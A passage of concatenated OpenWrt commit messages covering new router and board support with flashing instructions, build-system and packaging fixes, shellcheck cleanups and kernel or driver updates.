Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Don't create UCI switch config for the GL.iNet microuter-N300 and
VIXMINI. These devices only have a single LAN port.
Creating the switch config makes usage of VLANs more complicated,
as they would have to be configured on the MAC as well as the "switch".
Signed-off-by: David Bauer <mail@david-bauer.net>
8d5208f jail: fix false return in case of nofail mount
b41f76b procd: fix compile if procd-ujail is not selected
86a5105 jail: fs: fix build on uClibc-ng
bfce7d1 jail: fix some more mount options
268126a jail: add support for maskedPaths and readonlyPaths
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Split the /etc/uci-defaults/01_led_migration scripts into subtargets
as already done for most of the other base-files.
While this introduces a minor amount of code duplication, it still
is considered an improvement, as device-specific settings are kept
together in the subtargets' base-files and the script at hand can be
removed entirely for two of the subtargets not needing it.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This file is always present because it is part of the ltq-dsl-base
package on which these packages depend.
This check would not have been necessary in the past, because the script
was part of the TARGET_LANTIQ on which these packages also depend.
Signed-off-by: Martin Schiller <ms@dev.tdt.de>
It does not make sense to install this components on lantiq systems
where the dsl subsystem is not needed/used.
This also makes it possible to use the files also on other targets.
(hopefully ipq401x / FritzBox 7530 in the near future)
Signed-off-by: Martin Schiller <ms.3headeddevs@gmail.com>
For mt7621, console is set up via DTS bootargs individually in
device DTS/DTSI files. However, 44 of 74 statements use the
following setting:
chosen {
bootargs = "console=ttyS0,57600";
};
Therefore, don't repeat ourselves and move that definition to the SoC
DTSI file to serve as a default value.
This patch is cosmetic.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
update_kernel.sh refreshed all patches, no human interaction was needed
Build system: x86_64
Run-tested: Netgear R7800 (ipq806x)
Signed-off-by: John Audia <graysky@archlinux.us>
The last commit to this package that added the pkgconfig file did not
fix the paths to point to the prefix.
This allows packages to find lzo properly.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
The Helios 4 is a NAS from Kobol
that is powered by an Armada 38x
MicroSOM from Solidrun, similarly
to Clearfog.
This device has:
-Armada 38x CPU
(dual core ARMv7 1.6 Ghz)
-2 GB of ECC RAM
-Gigabit ethernet (Marvell)
-2x USB 3.0 ports
-4x Sata 3.0 ports
-i2c header (J9 |>GND|SDA|SCL|VCC)
-2x 3-pin fan headers with PWM
-micro-usb port is a TTL/UART to
USB converter connected to TTL
-MicroSD card slot
-System, 4xSata and 1xUSB LEDs
NOT WORKING: fan control
Fan Control requires a kernel patch
that is available in the Armbian
project (the "default firmware"
of this device) and named
mvebu-gpio-remove-hardcoded
-timer-assignment
This patch isn't acceptable
by OpenWrt, it should be upstreamed.
I also have that patch in my own
local OpenWrt builds,
in case you want a more
clean and less confusing patch
for upstreaming.
To install, write the disk image
on a micro SD card with dd or
win32 disk imager, insert the
card in the slot.
Check that the dip switch battery
for boot selection is as follows
Switch 1 and 2 down/off, switches
3, 4, 5 up/on.
Signed-off-by: Alberto Bursi <bobafetthotmail@gmail.com>
This patch adds support for D-Link DIR-867 A1 and D-Link DIR-882 A1. Given
the similarity of these devices, this patch also introduces a common DTS
shared between DIR-867 A1, DIR-878 A1 and DIR-882 A1.
Specifications:
* Board: AP-MTKH7-0002
* SoC: MediaTek MT7621AT
* RAM: 128 MB (DDR3)
* Flash: 16 MB (SPI NOR)
* WiFi: MediaTek MT7615N (x2)
* Switch: 1 WAN, 4 LAN (Gigabit)
* Ports: 1 USB 2.0, 1 USB 3.0
* Buttons: Reset, WiFi Toggle, WPS
* LEDs: Power (green/orange), Internet (green/orange), WiFi 2.4G (green),
WiFi 5G (green), USB 2.0 (green), USB 3.0 (green)
Notes:
* WiFi 2.4G and WiFi 5G LEDs are wired directly to the wireless chips
* DIR-867 wireless chips are limited to 3x3 streams at hardware level
* USB ports and related LEDs available only on DIR-882
Serial port:
* Parameters: 57600, 8N1
* Location: J1 header (close to the Reset, WiFi and WPS buttons)
* Pinout: 1 - VCC
2 - RXD
3 - TXD
4 - GND
Installation:
* D-Link Recovery GUI: power down the router, press and hold the reset
button, then re-plug it. Keep the reset button pressed until the power
LED starts flashing orange, manually assign a static IP address under
the 192.168.0.xxx subnet (e.g. 192.168.0.2) and go to http://192.168.0.1
* Some modern browsers may have problems flashing via the Recovery GUI,
if that occurs consider uploading the firmware through cURL:
curl -v -i -F "firmware=@file.bin" 192.168.0.1
Signed-off-by: Mateus B. Cassiano <mbc07@live.com>
[move DEVICE_VARIANT to individual definitions]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Specifications:
* SoC: MediaTek MT7621A (880 MHz 2c/4t)
* RAM: Nanya NT5CC128M16IP-DIT (256M DDR3-1600)
* Flash: Macronix MX30LF1G18AC-TI (128M NAND)
* Eth: MediaTek MT7621A (10/100/1000 Mbps x5)
* Radio: MT7615N (2.4 GHz & 5 GHz)
4 antennae: 1 internal and 3 non-deatachable
* USB: 3.0 (x1)
* LEDs:
White (x1 logo)
Green (x6 eth + wps)
Orange (x5, hardware-bound)
* Buttons:
Reset (x1)
WPS (x1)
Everything works! Been running it for a couple weeks now and haven't had
any problems. Please let me know if you run into any.
Installation:
Flash factory image through GUI.
This might fail due to the A/B nature of this device. When flashing, OEM
firmware writes over the non-booted partition. If booted from 'A',
flashing over 'B' won't work. To get around this, you should flash the
OEM image over itself. This will then boot the router from 'B' and
allow you to flash OpenWRT without problems.
Reverting to factory firmware:
Hard-reset the router three times to force it to boot from 'B.' This is
where the stock firmware resides. To remove any traces of OpenWRT from
your router simply flash the OEM image at this point.
Signed-off-by: Santiago Rodriguez-Papa <contact@rodsan.dev>
[use v1 only, minor DTS adjustments, use LINKSYS_HWNAME and add it to
DEVICE_VARS, wrap DEVICE_PACKAGES, adjust commit message/title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Add a common definition for ELECOM WRC "GS" devices to mt7621.mk
to not repeat the same assignments five times.
To keep the naming consistent, slightly rename the DTSI and the
factory image recipe as well.
Note that elecom_wrc-1167ghbk2-s uses a slightly different build
recipe for the factory image, so we keep it separate.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Tested-by: INAGAKI Hiroshi <musashino.open@gmail.com> [WRC-1750GSV]
This harmonizes the model names for the ath79 Ubiquiti devices by
applying a few minor cosmetic adjustments:
- Removes hyphens where they are not found in the product names
(Ubiquiti uses hyphens only for the abbreviated version names
like UAP-AC-PRO which we don't use anyway.)
- Add (XM) suffix for DTS model strings to help with distinguishing
them from their XW counterparts.
- Remove DEVICE_VARIANT for LAP-120 which actually was an alternate
device name.
- Generally make DTS model names and those from generic-ubnt.mk
more consistent.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
In the package guidelines, PKG_VERSION is supposed to be used as
"The upstream version number that we're downloading", while
PKG_RELEASE is referred to as "The version of this package Makefile".
Thus, the variables in a strict interpretation provide a clear
distinction between "their" (upstream) version in PKG_VERSION and
"our" (local OpenWrt trunk) version in PKG_RELEASE.
For local (OpenWrt-only) packages, this implies that those will only
need PKG_RELEASE defined, while PKG_VERSION does not apply following
a strict interpretation. While the majority of "our" packages actually
follow that scheme, there are also some that mix both variables or
have one of them defined but keep them at "1".
This is misleading and confusing, which can be observed by the fact
that there typically either one of the variables is never bumped or
the choice of the variable to increase depends on the person doing the
change.
Consequently, this patch aims at clarifying the situation by
consistently using only PKG_RELEASE for "our" packages. To achieve
that, PKG_VERSION is removed there, bumping PKG_RELEASE where
necessary to ensure the resulting package version string is bigger
than before.
During adjustment, one has to make sure that the new resulting composite
package version will not be considered "older" than the previous one.
A useful tool for evaluating that is 'opkg compare-versions'. In
principle, there are the following cases:
1. Sole PKG_VERSION replaced by sole PKG_RELEASE:
In this case, the resulting version string does not change, it's
just the value of the variable put in the file. Consequently, we
do not bump the number in these cases so nobody is tempted to
install the same package again.
2. PKG_VERSION and PKG_RELEASE replaced by sole PKG_RELEASE:
In this case, the resulting version string has been "version-release",
e.g. 1-3 or 1.0-3. For this case, the new PKG_RELEASE will just
need to be higher than the previous PKG_VERSION.
For the cases where PKG_VERSION has always sticked to "1", and
PKG_RELEASE has been incremented, we take the most recent value of
PKG_RELEASE.
Apart from that, a few packages appear to have developed their own
complex versioning scheme, e.g. using x.y.z number for PKG_VERSION
_and_ a PKG_RELEASE (qos-scripts) or using dates for PKG_VERSION
(adb-enablemodem, wwan). I didn't touch these few in this patch.
Cc: Hans Dedecker <dedeckeh@gmail.com>
Cc: Felix Fietkau <nbd@nbd.name>
Cc: Andre Valentin <avalentin@marcant.net>
Cc: Matthias Schiffer <mschiffer@universe-factory.net>
Cc: Jo-Philipp Wich <jo@mein.io>
Cc: Steven Barth <steven@midlink.org>
Cc: Daniel Golle <dgolle@allnet.de>
Cc: John Crispin <john@phrozen.org>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Bumping package version has been overlooked in a previous commit.
While at it, use PKG_RELEASE instead of PKG_VERSION, as the latter
is meant for upstream version number only.
(The effective version string for the package would be "3" in both
cases, so there is no harm done for version comparison.)
Fixes: 0453c3866f ("vxlan: fix udp checksum control")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This adds support for the Ubiquiti PowerBridge M, which has the same
board/LEDs as the Bullet M XM, but different case and antennas.
Specifications:
- AR7241 SoC @ 400 MHz
- 64 MB RAM
- 8 MB SPI flash
- 1x 10/100 Mbps Ethernet, 24 Vdc PoE-in
- Internal antenna: 25 dBi
- POWER/LAN green LEDs
- 4x RSSI LEDs (red, orange, green, green)
- UART (115200 8N1) on PCB
Flashing via WebUI:
Upload the factory image via the stock firmware web UI.
Attention: airOS firmware versions >= 5.6 have a new bootloader with
an incompatible partition table!
Please downgrade to <= 5.5 _before_ flashing OpenWrt!
Refer to the device's Wiki page for further information.
Flashing via TFTP:
Same procedure as other Bullet M (XM) boards.
- Use a pointy tool (e.g., pen cap, paper clip) and keep the reset
button on the device or on the PoE supply pressed
- Power on the device via PoE (keep reset button pressed)
- Keep pressing until LEDs flash alternatively LED1+LED3 =>
LED2+LED4 => LED1+LED3, etc.
- Release reset button
- The device starts a TFTP server at 192.168.1.20
- Set a static IP on the computer (e.g., 192.168.1.21/24)
- Upload via tftp the factory image:
$ tftp 192.168.1.20
tftp> bin
tftp> trace
tftp> put openwrt-ath79-generic-xxxxx-ubnt_powerbridge-m-squashfs-factory.bin
Signed-off-by: Vieno Hakkerinen <vieno@hakkerinen.eu>
So far, passing "rxcsum" and "txcsum" had no effect.
Fixes: 95ab18e012 ("vxlan: add options to enable and disable UDP
checksums")
Signed-off-by: Johannes Kimmel <fff@bareminimum.eu>
[add Fixes:]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Feature detection doesn't recognize ipset v7 use on kernel v5.x systems
and thus disables the tc ematch function em_ipset.
- backport patch:
* 002-configure-support-ipset-v7.patch:
650591a7a70c configure: support ipset version 7 with kernel version 5
Fixes: 4e0c54bc5b ("kernel: add support for kernel 5.4")
Signed-off-by: Tony Ambardar <itugrok@yahoo.com>
Recent iproute2 5.x versions modified the symbols resolved for plugins,
causing "tc .. action xt .." to fail. Update the list of symbols to fix.
Fixes: b61495409b ("iproute2: tc: reduce size of dynamic symbol table")
Signed-off-by: Tony Ambardar <itugrok@yahoo.com>
As the the SoC uses implicit vlan tagging for dual MAC support, the
offload feature breaks when using double tagging.
Signed-off-by: Sven Eckelmann <sven@narfation.org>
Signed-off-by: John Crispin <john@phrozen.org>
Having looked at this again, it appears that only gsbi2_serial
is actually enabled for this device, so the entry in the broken
aliases node was correct.
Therefore, this needs to set its own serial0 instead of inheriting
"serial0 = &gsbi4_serial;" from DTSI. Do this with the correctly
named aliases node now.
Fixes: c83f7b6d21 ("ipq806x: fix aliases node name for Qualcomm
IPQ8064/DB149")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Kernel uses the label gsbiX_serial, so let's adjust our labels to
this naming scheme.
This is cosmetic, and actually only already existing gsbi4_serial
has been used at all.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This device uses a node incorrectly named "alias" instead of
"aliases" since it was introduced.
Remove it without replacement, as the definitions in it don't
seem to be required anyway:
The serial0 definition has never been effective anyway and this
would be the only device deviating from the common setting
"serial0 = &gsbi4_serial;" for ipq8064. (So, maybe the wrong
node prevented us from finding out about the wrong serial
definition?)
The mdio-gpio0 alias was supposed to be removed in d2a2eb7e48
anyway, the redundant definition in the alias node was just
overlooked back then.
Fixes: 0fd202f3e5 ("ipq806x: add db149 dts files")
Fixes: d2a2eb7e48 ("ipq806x: replace caf nss-gmac driver by upstream stmmac")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Optional instance watchdog timeout and watchdog mode can be set by
adding: procd_set_param $mode $timeout
$mode is an integer [0-1] representing instance watchdog mode of
operation:
0 = disabled
1 = passive mode, client must periodically poke watchdog via ubus
$timeout is an integer representing how often, in seconds, the watchdog must be poked.
Signed-off-by: Daniel Bailey <danielb@meshplusplus.com>
Since commit 6f2e1b7485 (ath79: disable delays on AT803X config init)
the incoming incoming traffic on the ubnt,lap-120 devices Ethernet
port was not making it through. Using rgmii-id instead of rgmii (same
configuration as ubnt,litebeam-ac-gen2) fixes it.
Fixes FS#2893.
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
The f-string feature was introduced in Python 3.6. As Buildbots may run
on Debian 9, which comes per default with Python 3.5, this would cause
an issue. Instead of f-strings use the *legacy* `.format()` function.
Signed-off-by: Paul Spooren <mail@aparcar.org>
Specifications:
SoC: MT7621AT
RAM: 128MB
Flash: 16MB NOR SPI flash
WiFi: MT7615N (2.4GHz) and MT7615N (5Ghz)
LAN: 5x1000M
Firmware layout is Uboot with extra 96 bytes in header
Base PCB is AP-MTKH7-0002
LEDs Power Green,Power Orange,Internet Green,Internet Orange
LEDs "2.4G" Green & "5G" Green connected directly to wifi module
Buttons Reset,WPS,WIFI
Flashing instructions:
Upload image via emergency recovery mode
Push and hold reset button (on the back of the device) until power led
starts flashing (about 10 secs or so) while powering the device on.
Give it ~30 seconds, to boot the recovery mode GUI
Connect your client computer to LAN1 of the device
Set your client IP address manually to 192.168.0.2 / 255.255.255.0.
Call the recovery page for the device at http://192.168.0.1
Use the provided emergency web GUI to upload and flash a new firmware to
the device. Some browsers/OS combinations are known not to work, so if
you don't see the percentage complete displayed and moving within a few
seconds, restart the procedure from scratch and try anoher one,
or try the command line way.
Alternative method using command line on Linux:
curl -v -i -F "firmware=@openwrt-xxxx-squashfs-factory.bin" 192.168.0.1
Signed-off-by: Mathieu Martin-Borret <mathieu.mb@protonmail.com>
[use of generic uimage-padhdr in image generation code]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
The timer LED trigger is enabled in all targets (except for lantiq
xway-legacy). It's necessary for the OpenWrt preinit LED pattern to
work.
Signed-off-by: David Bauer <mail@david-bauer.net>
Use the OpenWrt netlink GPIO button implementation to forward button
presses to procd. This is necessary to make failsafe-mode access
using a button possible.
Signed-off-by: David Bauer <mail@david-bauer.net>
aed7fb3 procd: fix compilation with uClibc-ng
9d0f831 jail: fix segfault with len(uidmap/gidmap) > 1
42a6217 jail: consider PATH for argv in OCI container
83f4b72 jail: actually chdir into OCI defined CWD
fc9f614 jail: parse and run OCI hooks
02eec92 jail: memory allocation fixes
71e75f4 jail: refactor mount support to cover OCI spec
b586e7d jail: don't make mount source read-only
dacab12 uxc: fix 'stop' command
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
The device can only hold 3.6 MB, but newer images (since 18.06)
are bigger, so flashing a new version fails.
This disables default build for this device based on the bug report
referenced below.
Fixes: FS#1963
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This creates a common DTSI and shared image definition for the
relatively similar Netgear devices for mt7628 platform.
As a side effect, this raises SPI flash frequency for the R6120,
as it's expected to work there as well if it works for R6080 and
R6020.
Based on the data from the other devices, it also seems probable
the 5g MAC address for R6120 could be extracted from the caldata,
and the mtd-mac-address there could be dropped.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This release brings parity with the commits Linus released a few hours
ago into 5.8-rc5.
* receive: account for napi_gro_receive never returning GRO_DROP
The napi_gro_receive function no longer returns GRO_DROP ever, making
handling GRO_DROP dead code. This commit removes that dead code.
Further, it's not even clear that device drivers have any business in
taking action after passing off received packets; that's arguably out of
their hands.
* device: implement header_ops->parse_protocol for AF_PACKET
WireGuard uses skb->protocol to determine packet type, and bails out if
it's not set or set to something it's not expecting. For AF_PACKET
injection, we need to support its call chain of:
packet_sendmsg -> packet_snd -> packet_parse_headers ->
dev_parse_header_protocol -> parse_protocol
Without a valid parse_protocol, this returns zero, and wireguard then
rejects the skb. So, this wires up the ip_tunnel handler for layer 3
packets for that case.
* queueing: make use of ip_tunnel_parse_protocol
Now that wg_examine_packet_protocol has been added for general
consumption as ip_tunnel_parse_protocol, it's possible to remove
wg_examine_packet_protocol and simply use the new
ip_tunnel_parse_protocol function directly.
* compat: backport ip_tunnel_parse_protocol and ip_tunnel_header_ops
These are required for moving wg_examine_packet_protocol out of
wireguard and into upstream.
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
We don't need to see how git will be executed and it produces non silent
output on 'scripts/env diff' commands when there are no differences
unlike before.
Re-introduce original silent behaviour.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
upstream changed dt-bindings for marvell 88e6060 to use mdio-device
and dropped support for legacy bindings.
fix it in our local dts.
Fixes: FS#2524
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
Linux phy subsystem provides support for a phy regulator defined via
phy-supply property. Use it to turn on usb power only when usb is
probed.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
Add support for Marvell MACCHIATObin Single Shot, cortex-a72 based
Marvell ARMADA 8040 Community board. Single Shot was broken as the
device tree is different on the Double Shot Board.
Specifications:
- Quad core Cortex-A72 (up to 2GHz)
- DDR4 DIMM slot with optional ECC and single/dual chip select support
- Dual 10GbE (1/2.5/10GbE) SFP+
2.5GbE (1/2.5GbE) via SFP
1GbE via copper
- SPI Flash
- 3 X SATA 3.0 connectors
- MicroSD connector
- eMMC
- PCI x4 3.0 slot
- USB 2.0 Headers (Internal)
- USB 3.0 connector
- Console port (UART) over microUSB connector
- 20-pin Connector for CPU JTAG debugger
- 2 X UART Headers
- 12V input via DC Jack
- ATX type power connector
- Form Factor: Mini-ITX (170 mm x 170 mm)
More details at http://macchiatobin.net
Installation:
Write the Image to your Micro SD Card and insert it in the
MACCHIATObin Single Shot SD Card Slot.
In the U-Boot Environment:
1. reset U-Boot environment:
env default -a
saveenv
2. prepare U-Boot with boot script:
setenv bootcmd "load mmc 1:1 0x4d00000 boot.scr; source 0x4d00000"
saveenv
or manually (hanging lines indicate wrapped one-line command):
setenv fdt_name armada-8040-mcbin-singleshot.dtb
setenv image_name Image
setenv bootcmd 'mmc dev 1; ext4load mmc 1:1 $kernel_addr
$image_name;ext4load mmc 1:1 $fdt_addr $fdt_name;setenv
bootargs $console root=/dev/mmcblk1p2 rw rootwait; booti
$kernel_addr - $fdt_addr'
saveenv
On newer Bootloaders (18.12) the Variables have been changed, use:
setenv fdt_name armada-8040-mcbin-singleshot.dtb
setenv image_name Image
setenv bootcmd 'mmc dev 1; ext4load mmc 1:1 $kernel_addr_r
$image_name;ext4load mmc 1:1 $fdt_addr_r $fdt_name;setenv
bootargs $console root=/dev/mmcblk1p2 rw rootwait; booti
$kernel_addr_r - $fdt_addr_r'
Reported-by: Alexandra Alth <alexandra@alth.de>
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
Tested-by: Alexandra Alth <alexandra@alth.de>
[add specs and installation as provided by Alexandra Alth]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Due to a line break, printf was accidentally called with three
arguments instead of two, causing a different output than before.
Fix it by splitting the printf command into two lines.
Fixes: 907053193a ("scripts/mkits.sh: replace echo -e with printf")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
There are already two very similar recipes using uimage_padhdr
in ramips target, and a third one is about to be added.
Make the recipe more generic, so redefinitions are not necessary
anymore.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Tested-by: Bjørn Mork <bjorn@mork.no> [Zyxel WAP6805]
Between kernels 4.20 and 5.0, a new variant of this board has been
introduced ("Single Shot"), and the existing one has been renamed
with the appendix "Double Shot". [1]
This also adjusted the first compatible in the list:
marvell,armada8040-mcbin -> marvell,armada8040-mcbin-doubleshot
This patch updates the OpenWrt implementation of this device by
adjusting the relevant references to that compatible (i.e., our
board name).
To still provide support for 4.19 with our setup, this adds a
small patch to change the compatible there as well.
[1] https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=b1f0bbe2700051886b954192b6c1751233fe0f52
Cc: Tomasz Maciej Nowak <tomek_n@o2.pl>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Reviewed-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
The router Nucom R5010UN v2 has the partitions defined for a 8MB flash,
but the flash chip is 16MB size. We are wasting half of the flash.
Fix it and use generic names for partitions.
Fixes: 474cde6123 ("brcm63xx: probe SPI flash through DT")
Signed-off-by: Daniel González Cabanelas <dgcbueu@gmail.com>
Set CCACHE_DIR to $(TOPDIR)/.ccache and CCACHE_BASEDIR to $(TOPDIR).
This allows to do clean and dirclean. Cache hit rate for test build
after dirclean is ~65%.
If CCACHE is enabled stats are printed out at the end of building process.
CCACHE_DIR config variable allows to override default, which could be useful
when sharing cache with many builds.
cacheclean make target allows to clean the cache.
Changes from v1:
- remove ccache directory using CCACHE_DIR variable
- remove ccache leftovers from sdk and toolchain make files
- introduce CONFIG_CCACHE_DIR variable
- introduce cacheclean make target
Signed-off-by: Roman Yeryomin <roman@advem.lv>
The current one only looks for mt76x2e and mt7603e, and
does not work for 2 or more same Wi-Fi chips.
Refactor the script to cover those cases.
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
The firmware is currently just copied. It can end up with o= on the
device (this is the case for voice_ar9_firmware.bin for instance).
Instead of copying it the Makefile is changed to use the macro
"$(INSTALL_DATA)" in order for the file to be world-readable.
While at it refactor the device node creation in the init script with
loop.
Signed-off-by: Sebastian Kemper <sebastian_ml@gmx.net>
[removed 2nd part with custom group handling for device nodes]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Define 64m IMAGE_SIZE for flash firmware.bin since the flash size
is 64MB. Define 48m LS_SYSUPGRADE_IMAGE_SIZE for flash sysupgrade.bin
which contains maximum 16MB kernel and 32MB rootfs according to
memory map.
Signed-off-by: Yangbo Lu <yangbo.lu@nxp.com>
Many Layerscape boards support both flash boot and SD card boot.
And different firmware and sysupgrade.bin are built for the two
boot methods. To identify them, a fix could be done on board name
by adding a postfix "-sdboot" for SD card boot.
Signed-off-by: Yangbo Lu <yangbo.lu@nxp.com>
There had been an issue in Layerscape QSPI driver for very long
time, which made squashfs,jffs2 rootfs not work on QSPI NOR.
And the ubifs had been used as a workaround.
Now the issue has been fixed. So convert to use squashfs,jffs2
rootfs on QSPI NOR for Layerscape boards (LS1012ARDB/LS1046ARDB/
LS1088ARDB), and update u-boot bootargs for booting.
Signed-off-by: Yangbo Lu <yangbo.lu@nxp.com>
The rootfs squashfs is already highly (XZ) compressed. Storing the applet
messages in compressed form will increase the entropy and reduce the overall
image compression ratio.
Size diffs (compressed vs uncompressed):
busybox (the executable): 364596 vs 384804 bytes.
OpenWrt target images (the kernel image is unchanged, obviously):
omnia-medkit-openwrt-mvebu-cortexa9-cznic_turris-omnia-initramfs.tar.gz:
9163597 vs 9162531 bytes (1066 bytes difference).
openwrt-mvebu-cortexa9-cznic_turris-omnia-initramfs-kernel.bin:
9161688 vs 9160600 bytes (1088 bytes difference).
openwrt-mvebu-cortexa9-cznic_turris-omnia-sysupgrade.img.gz:
9729550 vs 9729230 bytes (320 bytes difference).
All in all, we save just a little bit over 1 kiB. As an added bonus, we
also don't have to decompress the messages twice, (first from squashfs,
then from the bzip2 message storage).
Signed-off-by: Rui Salvaterra <rsalvaterra@gmail.com>
[added additional size comparision diff detaisl]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Fixes following shellcheck warning:
In scripts/mkits.sh line 19:
"-k kernel [-D name -d dtb] -o its_file" "$(basename $0)"
^-- SC2086: Double quote to prevent globbing and word splitting.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Fixes following shellcheck warning:
In scripts/env line 25:
exit ${1:-1}
^-----^ SC2086: Double quote to prevent globbing and word splitting.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Instead of using xargs to pass a huge number of files to
script/ipkg-remove, which will usually pick only one, use a more
restrictive wildcard so that, currently, at the most 325 files are
examined, instead of up to over 2,300. The 325-file package is python,
which is picking up python3* ipks. It is about to be removed.
Runner-up is ddns-scripts with 7 files.
This makes a second run of make package/luci/compile go from
real 16.40s; user 17.42s; sys 2.73s
to
real 10.71s; user 9.51s; sys 1.27s
There is a caveat though: if one were to remove the ABI_VERSION of a
package that ends in a digit [0-9], then the old package ipk will not be
removed from the bin directory by make package/abc2/clean.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
The wildcard call to clean up luci package (luci*) can pick up over
2,300 files when the full tree is built. Running make package/luci/clean
or a second run of make package/luci/compile would fail with an
'Argument list too long' error.
To avoid that, a maybe_use_xargs function was created that runs the
command straight as usual if the number of arguments is < 512, or saves
the list in a temporary file and feeds it to xargs otherwise.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
Instead of calling $(wildcard) to check if the removal list is empty,
then calling it again to actually remove the files, define a function so
that the arguments are expanded only once when it gets called.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
Fixes following warnings:
In target/toolchain/files/wrapper.sh line 18:
REALNAME=$(readlink -f $0)
^-- SC2086: Double quote to prevent globbing and word splitting.
--
In target/toolchain/files/wrapper.sh line 20:
REALNAME_BASE=$(basename $REALNAME)
^-------^ SC2086: Double quote to prevent globbing and word splitting.
--
In target/toolchain/files/wrapper.sh line 21:
REALNAME_DIR=$(dirname $REALNAME)
^-------^ SC2086: Double quote to prevent globbing and word splitting.
--
In target/toolchain/files/wrapper.sh line 74:
exec $TARGET_TOOLCHAIN_TRIPLET-$BINARY.bin $GCC_SYSROOT_FLAGS $TARGET_FUNDAMENTAL_CFLAGS $TARGET_ROOTFS_CFLAGS "$@"
^-----------------------^ SC2086: Double quote to prevent globbing and word splitting.
--
In target/toolchain/files/wrapper.sh line 77:
exec $TARGET_TOOLCHAIN_TRIPLET-$BINARY.bin $LD_SYSROOT_FLAGS $TARGET_FUNDAMENTAL_LDFLAGS "$@"
^-----------------------^ SC2086: Double quote to prevent globbing and word splitting.
--
In target/toolchain/files/wrapper.sh line 80:
exec $TARGET_TOOLCHAIN_TRIPLET-$BINARY.bin $TARGET_FUNDAMENTAL_ASFLAGS "$@"
^-----------------------^ SC2086: Double quote to prevent globbing and word splitting.
--
In target/toolchain/files/wrapper.sh line 83:
exec $TARGET_TOOLCHAIN_TRIPLET-$BINARY.bin "$@"
^-----------------------^ SC2086: Double quote to prevent globbing and word splitting.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Zram is only strictly dependent on lzo, not lz4. Break this dependency and
make the lz4 module visible in the configuration, in order for the user to
have the choice of enabling/disabling it, if (s)he sees fit.
Signed-off-by: Rui Salvaterra <rsalvaterra@gmail.com>
The block-mount swapon implementation doesn't support discard, so make zram-swap
depend only on the default BusyBox implementation or, when unavailable, on the
one present in the swap-utils package.
Signed-off-by: Rui Salvaterra <rsalvaterra@gmail.com>
The clock_gettime(CLOCK_MONOTONIC) syscall exists for so long that the first
kernel version to support it is not even specified in the man page [1]. Let's
enable it on BusyBox by default. Otherwise, gettimeofday will be used instead,
which will give wrong results if the date/time is reset (time moving backwards).
[1] https://linux.die.net/man/2/clock_gettime
Signed-off-by: Rui Salvaterra <rsalvaterra@gmail.com>
CMake is less error prone that autotools and also compiles faster.
Fixed license information.
Added pkgconfig file to InstallDev so that packages that use it can
find lzo.
Before:
time make package/lzo/compile -j 12
________________________________________________________
Executed in 20.87 secs fish external
usr time 26.95 secs 0.00 micros 26.95 secs
sys time 5.49 secs 305.00 micros 5.49 secs
After:
time make package/lzo/compile -j 12
________________________________________________________
Executed in 13.22 secs fish external
usr time 19.59 secs 328.00 micros 19.59 secs
sys time 4.03 secs 10.00 micros 4.03 secs
Time output is with fish shell. make clean was ran before both attempts.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
f4e9bf73ac5c examples/lua: attempt to highlight some traps
53b9a2123fc6 lua/uloop: fd_add: use absolute indices for arguments
c0941d3289fc lua/uloop: make get_sock_fd capable of absolute addresses
161c25960ba2 lua/uloop: fd_add() better args checking
Signed-off-by: Petr Štetiar <ynezz@true.cz>
At this point in v5.4 kernel we cannot use dwc2_readl() and
dwc2_writel() since they rely on the value hsotg->needs_byte_swap
which cannot be obtained before the controller wakes up.
We should use readl() and writel() to wake up the controller before
calling dwc2_check_core_endianness().
Fixes: 6be0da90a1 ("ramips: refresh patches")
Signed-off-by: Alexey Dobrovolsky <dobrovolskiy.alexey@gmail.com>
[fixed Fixes: tag]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Quoting part of original message from eefb5f741015 commit in
linux-firmware repository:
This adds the "minifw" version of the EIP197 firmware, which the inside-
secure driver will use as a fallback if the original full-featured
firmware cannot be found. This allows for using the inside-secure driver
and hardware without access to "official" firmware only available under
NDA.
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
Firmware is binary blob, so there are barely any NULL terminated strings
